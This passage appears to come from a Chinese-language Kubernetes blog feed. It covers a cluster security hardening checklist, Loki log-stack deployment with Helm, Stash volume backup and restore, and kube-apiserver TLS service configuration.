&lt;li&gt;二级：仅建议在非常强调安全性的系统中使用，可能对系统有副作用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外还将具体的检测结果分为计分和不计分两种结果。&lt;/p&gt;

&lt;p&gt;以上两个维度可以用来对系统进行现状评估，也有助于读者选择性地采纳加固措施。&lt;/p&gt;

&lt;p&gt;整个指南分为五个部分：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;控制平面组件&lt;/li&gt;
&lt;li&gt;etcd&lt;/li&gt;
&lt;li&gt;控制平面配置&lt;/li&gt;
&lt;li&gt;节点配置&lt;/li&gt;
&lt;li&gt;策略&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;检查项概要&#34;&gt;检查项概要&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;所有运行参数文件、kubeconfig 文件以及证书，权限至少应为 &lt;code&gt;644&lt;/code&gt; 并且属于 &lt;code&gt;root:root&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;API Server&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;南向和北向通信

&lt;ul&gt;
&lt;li&gt;关闭匿名访问&lt;/li&gt;
&lt;li&gt;禁止明文通信&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;认证

&lt;ul&gt;
&lt;li&gt;启用 Node,RBAC 认证&lt;/li&gt;
&lt;li&gt;禁用 Token 和 Basic 认证&lt;/li&gt;
&lt;li&gt;禁用 Alwaysallow&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Admission Control

&lt;ul&gt;
&lt;li&gt;禁用：AlwaysAdmit&lt;/li&gt;
&lt;li&gt;启用：AlwaysPullImages、AlwaysAdmit、EventRateLimit、ServiceAccount、NamespaceLifecycle、PodSecurityPolicy、NodeRestriction&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用审计日志&lt;/li&gt;
&lt;li&gt;启用请求超时&lt;/li&gt;
&lt;li&gt;启用 &lt;code&gt;--service-account-lookup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tls-cipher-suites&lt;/code&gt; 仅使用新的、强加密算法&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;oidc&lt;/code&gt; 等模式来代替客户端证书认证。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Controller Manager&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;开启 &lt;code&gt;--use-service-account-credentials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定 &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用 &lt;code&gt;--service-account-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--feature-gates&lt;/code&gt; 启用 &lt;code&gt;RotateKubeletServerCertificate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Scheduler&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定 &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;ETCD&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;启用节点间和客户端的双向认证&lt;/li&gt;
&lt;li&gt;设置数据文件权限&lt;/li&gt;
&lt;li&gt;禁用 &lt;code&gt;--auto-tls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用独立的 CA 证书&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;工作节点&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubelet、Kube-proxy 的服务和配置文件权限&lt;/li&gt;
&lt;li&gt;关闭匿名访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--authorization-mode&lt;/code&gt;  禁用 &lt;code&gt;AlwaysAllow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;kubelet 参数 &lt;code&gt;--read-only-port&lt;/code&gt; 为 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--streaming-connection-idle-timeout&lt;/code&gt; 不应设置为 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--protect-kernel-defaults&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--make-iptables-util-chains&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不要设置 &lt;code&gt;--hostname-override&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;HTTPS 访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rotate-certificates&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--event-qps&lt;/code&gt; 设置足够高，或者为 &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--feature-gates&lt;/code&gt; 启用 &lt;code&gt;RotateKubeletServerCertificate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;RBAC 和 ServiceAccount&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;仅在需要时才使用 &lt;code&gt;cluster-admin&lt;/code&gt; 角色&lt;/li&gt;
&lt;li&gt;限制对 &lt;code&gt;secret&lt;/code&gt; 的访问&lt;/li&gt;
&lt;li&gt;限制使用通配符&lt;/li&gt;
&lt;li&gt;限制分配 Pod 创建权限&lt;/li&gt;
&lt;li&gt;仅在需要时才加载 Token，缺省将 automountServic eAccountToken 为 &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用不同的 ServiceAccount&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pod Security Policy&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用 PSP 不应泛泛使用 &lt;code&gt;privileged&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 PSP 谨慎控制如下授权

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hostPID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hostIPC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hostNetwork&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allowPrivilegeEscalation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsUser.rule&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NET_RAW&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;不应提供全面放行的 PSP 策略&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;网络策略和 CNI&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持策略的 CNI&lt;/li&gt;
&lt;li&gt;所有命名空间都定义网络策略&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Secret 管理&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;建议使用文件而非环境变量&lt;/li&gt;
&lt;li&gt;使用外部 Secret 存储&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;扩展准入控制&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;保障镜像来源&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;通用策略&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;命名空间隔离&lt;/li&gt;
&lt;li&gt;在 Docker 中启用 seccomp&lt;/li&gt;
&lt;li&gt;为 Pod 和容器启用 Security context&lt;/li&gt;
&lt;li&gt;不用缺省命名空间&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Loki Stack：乞丐版 EFK</title>
      <link>/post/es-express/</link>
      <pubDate>Wed, 12 Feb 2020 23:27:36 +0800</pubDate>
      <guid>/post/es-express/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;踩入 Kubernetes 的坑以后，不可避免的就会遇到一个需求就是日志的集中采集和检索，这方面最负盛名的就是 ElasticSearch 了，这东西的强大是毋庸置疑的——又强又大。但是我多数时间跟日志打交道只会问一个问题：特定时间范围内，某应用都输出了什么日志？强大的全文检索能力，其实是很少用到的。但无论你用或者不用，索引就在那里，吃你传输和硬盘。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://grafana.com/oss/loki/&#34; target=&#34;_blank&#34;&gt;Loki&lt;/a&gt; 给穷人们带来了福音，它是一个可水平伸缩的、高可用的以及多租户的日志集中系统，有这么多功能，唯独没有全文检索。在其简介中，自称是受到 Prometheus 的启发：仅保存和处理元数据，而对日志正文不闻不问。&lt;/p&gt;

&lt;p&gt;和 EFK 类似，Loki Stack 也由采集端、服务端和交互端三个部分构成，其中采集端是可变的，目前支持 Promtail、FluentBit 和 Fluentd 三种，服务端和交互端分别使用的是 Loki 和 Grafana。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;使用 Helm 可以非常方便的部署 Loki Stack，首先使用 &lt;code&gt;helm repo add loki https://grafana.github.io/loki/charts &amp;amp;&amp;amp; helm repo update&lt;/code&gt; 加入仓库并更新。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里使用的是 Helm 3。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;helm install stable/grafana  \
    --set ingress.enabled=true \
    --set ingress.hosts={grafana.yamler.io} \
    --set persistence.enabled=true \
    --generate-name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先安装 Grafana，并设置持久化存储以及 &lt;code&gt;grafana.yamler.io&lt;/code&gt; 的域名。&lt;/p&gt;

&lt;p&gt;接下来继续使用 Helm 安装 Loki：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;helm install loki/loki  \
    --set persistence.enabled=true \
    --set replicas=2 --generate-name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里为 Loki 部署了两个实例的 Statefulset。并启用了持久化存储。&lt;/p&gt;

&lt;p&gt;最后安装 Fluentbit 作为日志采集端：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;helm install fluent-bit loki/fluent-bit \
--set &amp;quot;loki.serviceName=loki-1581527457&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;此处的服务名来自 Loki 部署的 Service 名称。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;初始化&#34;&gt;初始化&lt;/h2&gt;

&lt;p&gt;接下来登入 Grafana，添加 Loki 作为数据源，由于没有开启认证，因此只需要设置 URL 即可，例如：&lt;code&gt;http://loki-1581527457:3100&lt;/code&gt;。添加之后，就可以点击 Explore 按钮进入查询交互了。&lt;/p&gt;

&lt;h2 id=&#34;查询&#34;&gt;查询&lt;/h2&gt;

&lt;p&gt;Grafana 中为 Loki 提供了两种类型的查询，分别是 Metrics 和 Log，也就是统计数字和日志本体。&lt;/p&gt;

&lt;p&gt;Loki 使用一种称为 &lt;a href=&#34;https://github.com/grafana/loki/blob/master/docs/logql.md#filter-expression&#34; target=&#34;_blank&#34;&gt;LogQL&lt;/a&gt; 的语法来进行日志检索，语法类似 PromQL。例如假设要查询 Loki 的日志：&lt;code&gt;{app=&amp;quot;loki&amp;quot;}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/first-query.png&#34; alt=&#34;first&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当然也可以使用 &lt;code&gt;node&lt;/code&gt;、&lt;code&gt;container&lt;/code&gt; 等标签进行查询。具体标签生成的过程完全在采集器内部进行定义。&lt;/p&gt;

&lt;p&gt;又或者查询一个 Metrics：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sum(count_over_time({job=&amp;quot;fluent-bit&amp;quot;}[5m])) by (level)&lt;/code&gt;，统计该任务的日志生成数量：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/count.png&#34; alt=&#34;count&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;除了上面演示的简单功能之外，Loki 还支持认证、监控、跟踪、多租户等丰富的功能（而且免费）。因此如果对全文检索没有执着需求的话，Loki 应该是个非常合适的替代方案，能很好很便宜地满足前面提到的简单需求。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个不太小的工具——Stash</title>
      <link>/post/intro-appcode-stash/</link>
      <pubDate>Fri, 31 Jan 2020 23:34:25 +0800</pubDate>
      <guid>/post/intro-appcode-stash/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://stash.run/&#34; target=&#34;_blank&#34;&gt;AppCode Stash&lt;/a&gt; 是一个构建在 &lt;a href=&#34;https://restic.net&#34; target=&#34;_blank&#34;&gt;Restic&lt;/a&gt; 基础之上的工具，用于备份 Kubernetes 上运行的有状态应用，它使用一个有趣的 Sidecar，能够方便的通过共享卷的方式来对 RWO 模式的存储卷进行备份。提供了批量备份、备份模板、可扩展的应用（主要是数据库）备份等功能。备份目标包括 Kubernetes 卷、S3 等常见设施。主要功能包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;备份和恢复工作负载数据：包括 Deploy、DaemonSet、StatefulSet 等等。&lt;/li&gt;
&lt;li&gt;备份和恢复独立存储卷。&lt;/li&gt;
&lt;li&gt;备份和恢复数据库：PostgreSQL、MySQL、MongoDB、ElasticSearch。&lt;/li&gt;
&lt;li&gt;卷快照：支持 CSI 卷快照功能的集群。&lt;/li&gt;
&lt;li&gt;计划备份。&lt;/li&gt;
&lt;li&gt;自动备份：使用注解和模板进行备份。&lt;/li&gt;
&lt;li&gt;多种备份存储目标：支持 S3、Azure、GCP 以及存储卷等多种设施。&lt;/li&gt;
&lt;li&gt;可监控：支持 Prometheus 监控。&lt;/li&gt;
&lt;li&gt;提供 kubectl 插件。&lt;/li&gt;
&lt;li&gt;可扩展开发。&lt;/li&gt;
&lt;li&gt;支持 hook 和 Webhook。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;使用 Helm &lt;strong&gt;3&lt;/strong&gt; 安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ helm repo add appscode https://charts.appscode.com/stable/
&amp;quot;appscode&amp;quot; has been added to your repositories
$ helm repo update
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the &amp;quot;appscode&amp;quot; chart repository
...
Update Complete. ⎈ Happy Helming!⎈
$ helm search repo appscode/stash --version v0.9.0-rc.4
NAME            CHART VERSION APP VERSION DESCRIPTION
appscode/stash  v0.9.0-rc.4    v0.9.0-rc.4  Stash by AppsCode - Backup your Kubernetes Volumes

$ helm install stash-operator appscode/stash \
  --version v0.9.0-rc.4 \
  --namespace kube-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成之后，可以使用如下命令进行校验：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods --all-namespaces -l app=stash --watch
NAMESPACE     NAME                              READY     STATUS    RESTARTS   AGE
kube-system   stash-operator-859d6bdb56-m9br5   2/2       Running   2          5s
$ kubectl get crd -l app=stash
NAME                                 AGE
recoveries.stash.appscode.com        5s
repositories.stash.appscode.com      5s
restics.stash.appscode.com           5s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装完毕之后，就可以尝试第一次备份操作了。&lt;/p&gt;

&lt;h2 id=&#34;创建备份后端&#34;&gt;创建备份后端&lt;/h2&gt;

&lt;p&gt;这里简单使用一个 PVC 来做为备份存储的后端。&lt;/p&gt;

&lt;p&gt;Restic 的备份过程需要指定一个密码，这里使用一个 Secret 来保存密码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ echo -n &#39;changeit&#39; &amp;gt; RESTIC_PASSWORD
$ kubectl create secret generic backup-password --from-file=./RESTIC_PASSWORD
secret/local-secret created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来创建一个 PVC，作为备份文件的存储目标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: backend-pvc
spec:
  resources:
    requests:
      storage: 8Gi
  volumeMode: Filesystem
  accessModes:
    - ReadWriteOnce
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Stash 中新建一个 Repository，用刚才的 PVC 作为存储：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: stash.appscode.com/v1alpha1
kind: Repository
metadata:
  name: backend-repository
spec:
  backend:
    local:
      mountPath: /storage/data
      persistentVolumeClaim:
        claimName: backend-pvc
    storageSecretName: backup-password
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处的 &lt;code&gt;local&lt;/code&gt; 段，指明了在本地加载一个卷作为备份文件的存储目标。&lt;a href=&#34;https://stash.run/docs/v0.9.0-rc.4/guides/latest/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;中介绍了各种存储后端的用法。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;storageSecretName&lt;/code&gt; 除了刚才提到的备份密码之外，还用于存储后端的认证凭据，例如使用 S3 后端就需要这样的 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ echo -n &#39;changeit&#39; &amp;gt; RESTIC_PASSWORD
$ echo -n &#39;&amp;lt;your-azure-storage-account-name&amp;gt;&#39; &amp;gt; AZURE_ACCOUNT_NAME
$ echo -n &#39;&amp;lt;your-azure-storage-account-key&amp;gt;&#39; &amp;gt; AZURE_ACCOUNT_KEY
$ kubectl create secret generic -n demo azure-secret \
    --from-file=./RESTIC_PASSWORD \
    --from-file=./AZURE_ACCOUNT_NAME \
    --from-file=./AZURE_ACCOUNT_KEY
secret/azure-secret created
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;创建工作负载&#34;&gt;创建工作负载&lt;/h2&gt;

&lt;p&gt;接下来随便运行一个应用，挂载 PVC 来模拟业务应用来进行备份。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: sleep
spec:
  replicas: 1
  selector:
    matchLabels:
      app: sleep
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
        - name: sleep
          image: dustise/sleep
          imagePullPolicy: IfNotPresent
          resources:
            limits:
              cpu: 100m
              memory: 100M
            requests:
              cpu: 100m
              memory: 100M
          volumeMounts:
          - name: storage
            mountPath: /data
      volumes:
        - name: storage
          persistentVolumeClaim:
            claimName: workload-pvc
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: workload-pvc
spec:
  resources:
    requests:
      storage: 1Gi
  volumeMode: Filesystem
  accessModes:
    - ReadWriteOnce
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 正常运行后，生成一个文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
sleep-76b447c854-7xmgf   1/1     Running   0          9m17s
$ kubectl exec -it sleep-76b447c854-7xmgf -c sleep -- fallocate -l 5M /data/file-5m.txt
$ kubectl exec -it sleep-76b447c854-7xmgf -c sleep ls /data
file-5m.txt     lost+found
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;备份&#34;&gt;备份&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;BackupConfiguration&lt;/code&gt; 是一个 CRD，用于连接工作负载和备份存储目标。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: stash.appscode.com/v1beta1
kind: BackupConfiguration
metadata:
  name: backupconfig-sleep
spec:
  repository:
    name: backend-repository
  # 每五分钟一次备份
  schedule: &amp;quot;*/5 * * * *&amp;quot;
  target:
    ref:
      apiVersion: apps/v1
      kind: Deployment
      name: sleep
    # 加载工作负载中的卷
    volumeMounts:
    - name: storage
      mountPath: /data
    paths:
    - /data
  retentionPolicy:
    name: &#39;keep-last-5&#39;
    keepLast: 5
    prune: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建之后，会发现业务 Pod 被注入了 Sidecar，&lt;strong&gt;正在重启&lt;/strong&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods
NAME                     READY   STATUS              RESTARTS   AGE
sleep-569b786766-mwmrb   0/2     ContainerCreating   0          3s
sleep-76b447c854-7bvtz   1/1     Running             0          10m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;并且系统中出现了新的 CronJob 和 BackupSession 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get cronjob
NAME                              SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
stash-backup-backupconfig-sleep   */5 * * * *   False     0        4m31s           36m

$ kubectl get backupsession
NAME                            INVOKER-TYPE          INVOKER-NAME         PHASE       AGE
backupconfig-sleep-1580535011   BackupConfiguration   backupconfig-sleep   Succeeded   39s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面看到，这个 BackupSession 已经成功了一次，就可以看看 Repository 有没有什么变化了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get repository
NAME                 INTEGRITY   SIZE   SNAPSHOT-COUNT   LAST-SUCCESSFUL-BACKUP   AGE
backend-repository   true               5                4m58s                    61m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Describe 一下这个对象，会看到其中包含的快照数量，以及文件尺寸。&lt;/p&gt;

&lt;h2 id=&#34;恢复&#34;&gt;恢复&lt;/h2&gt;

&lt;p&gt;备份之后，我们新建一个 Deployment，作为恢复的目标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: sleep-restore
spec:
  replicas: 1
  selector:
    matchLabels:
      app: sleep-restore
  template:
    metadata:
      labels:
        app: sleep-restore
        version: v1
    spec:
      containers:
        - name: sleep-restore
          image: dustise/sleep
          imagePullPolicy: IfNotPresent
          resources:
            limits:
              cpu: 100m
              memory: 100M
            requests:
              cpu: 100m
              memory: 100M
          volumeMounts:
          - name: storage
            mountPath: /data
      volumes:
        - name: storage
          persistentVolumeClaim:
            claimName: restore-pvc
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: restore-pvc
spec:
  resources:
    requests:
      storage: 1Gi
  volumeMode: Filesystem
  accessModes:
    - ReadWriteOnce
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后创建一个 RestoreSession 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: stash.appscode.com/v1beta1
kind: RestoreSession
metadata:
  name: deployment-restore
spec:
  repository:
    name: backend-repository
  rules:
  - paths:
    - /data
  target:
    ref:
      apiVersion: apps/v1
      kind: Deployment
      name: sleep-restore
    volumeMounts:
    - name:  storage
      mountPath: /data
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 kubectl 提交对象，启动还原过程。&lt;/p&gt;

&lt;p&gt;通过 &lt;code&gt;kubectl get po&lt;/code&gt; 的观察，可以看到新建的 Pod 也重启了，这次加入的不是 Sidecar，而是一个 init-container。容器重建之后，可以进入 Pod 查看，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it sleep-restore-76ff947f9b-s52px ls /data
file-5m.txt     lost+found
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;其它&#34;&gt;其它&lt;/h2&gt;

&lt;p&gt;除了 Deployment 之外，Stash 还支持 Statefulset、Daemonset 的备份。另外能通过 AppBind 和 Task 等对象完成针对特定数据库的备份和恢复；通过 BackupBatch 来实现一个应用多种数据的备份；最后更可以使用 BackupPrint 对象根据 Annotation 进行自动备份。&lt;/p&gt;

&lt;p&gt;缺点也是有的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;目前只是 RC 版本。&lt;/li&gt;
&lt;li&gt;后面提到的几种功能复杂性都比本文演示的 Deployment 备份要复杂得多。&lt;/li&gt;
&lt;li&gt;文档非常好，但是不够完善，并且略有瑕疵。&lt;/li&gt;
&lt;li&gt;注入过程会引发业务中断。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;用在生产环境还是颇为冒险的，好在备份恢复从来就不是个容易的事情，这东西至少有很好的参考价值。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 权威指南第二章校对（3）</title>
      <link>/post/read-k8s-guide-2-3/</link>
      <pubDate>Thu, 30 Jan 2020 23:12:47 +0800</pubDate>
      <guid>/post/read-k8s-guide-2-3/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;春节宅在家伺候小祖宗，可惜老外们不休息，新东西一坨接着一坨，安装部分又超级没有技术含量，因此疯狂拖延。今天终于把二进制安装过程的 API Server 部分弄好。
这部分还只有一个 API Server，后续内容的推进过程中，还有很大的可能发生变化。
太讨厌了——第二章可能是个修身养性的章节。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;首先是觉得在 service 里面引用环境变量的方式似乎没有什么特别的好处。因此丢弃了环境变量文件，直接把参数写入了 Service 文件。&lt;/p&gt;

&lt;p&gt;其次，匿名访问、http 访问都是严重不建议的方式，现稿虽然后面加入了证书相关内容，难免造成误导，这里直接把证书内容加入到每个组件的安装过程之中，让读者在跳着读时候，也能够收到一个相对完整的效果。&lt;/p&gt;

&lt;p&gt;更新后的 &lt;code&gt;kube-apiserver.service&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[Unit]
Description=Kubernetes API Server
Documentation=https://github.com/GoogleCloudPlatform/kubernetes
After=etcd.service
Wants=etcd.service
[Service]
ExecStart=/usr/bin/kube-apiserver \
--allow-privileged=true \
--authorization-mode=Node,RBAC \
--client-ca-file=/etc/kubernetes/pki/ca.crt \
--enable-admission-plugins=NodeRestriction \
--enable-bootstrap-token-auth=true \
--etcd-cafile=/etc/kubernetes/pki/ca.crt \
--etcd-certfile=/etc/kubernetes/pki/etcd-client.crt \
--etcd-keyfile=/etc/kubernetes/pki/etcd-client.key \
--etcd-servers=https://127.0.0.1:2379 \
--insecure-port=0 \
--kubelet-client-certificate=/etc/kubernetes/pki/kubelet-client.crt \
--kubelet-client-key=/etc/kubernetes/pki/kubelet-client.key \
--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname \
--secure-port=6443 \
--service-cluster-ip-range=10.96.0.0/12 \
--tls-cert-file=/etc/kubernetes/pki/apiserver.crt \
--tls-private-key-file=/etc/kubernetes/pki/apiserver.key
Restart=on-failure
Type=notify
LimitNOFILE=65536
[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;kube-apiserver 需要一系列的数字证书才能启动。必要的证书参数包括：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;--client-ca-file&lt;/code&gt;：客户端（例如 kubectl）使用客户端证书作为凭据访问 apiserver 时，用于签发客户端证书的 ca 证书文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--etcd-cafile&lt;/code&gt;、&lt;code&gt;--etcd-certfile&lt;/code&gt;、&lt;code&gt;--etcd-keyfile&lt;/code&gt;：apiserver 作为客户端，使用 https 协议访问 etcd 时，所信任的 ca 证书文件，以及客户端证书文件和密钥。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--kubelet-client-certificate&lt;/code&gt;、&lt;code&gt;--kubelet-client-key&lt;/code&gt;：apiserver 访问 kubelet 时所使用的证书文件和密钥。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tls-cert-file&lt;/code&gt;、&lt;code&gt;--tls-private-key-file&lt;/code&gt;：apiserver 提供 https 服务时所使用的证书文件和密钥。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;etcd 一节中，我们已经了解了服务器证书的生成方法，这里为了简单起见，把所有用于签发证书的 ca 证书统一为前面生成过的 &lt;code&gt;/etc/kubernetes/pki/ca.crt&lt;/code&gt;。几个证书参数中，只有 &lt;code&gt;--tls-cert-file&lt;/code&gt; 是和前面的 &lt;code&gt;etcd-server.crt&lt;/code&gt; 一样的https 服务端证书，生成方法是一样的，差别在于 &lt;code&gt;[alt_names]&lt;/code&gt; 字段，其中除了包括服务器的 IP 之外，还包含了几个 DNS 名称，代表的是缺省的 Kubernetes 服务，摘录如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;DNS.1 = kubernetes
